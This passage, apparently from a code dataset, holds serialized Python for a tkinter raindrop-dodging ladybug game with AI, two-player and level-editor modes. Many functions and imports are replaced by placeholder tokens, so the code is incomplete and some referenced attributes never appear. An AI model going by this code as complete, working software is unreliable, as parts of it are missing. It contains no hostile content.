in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef 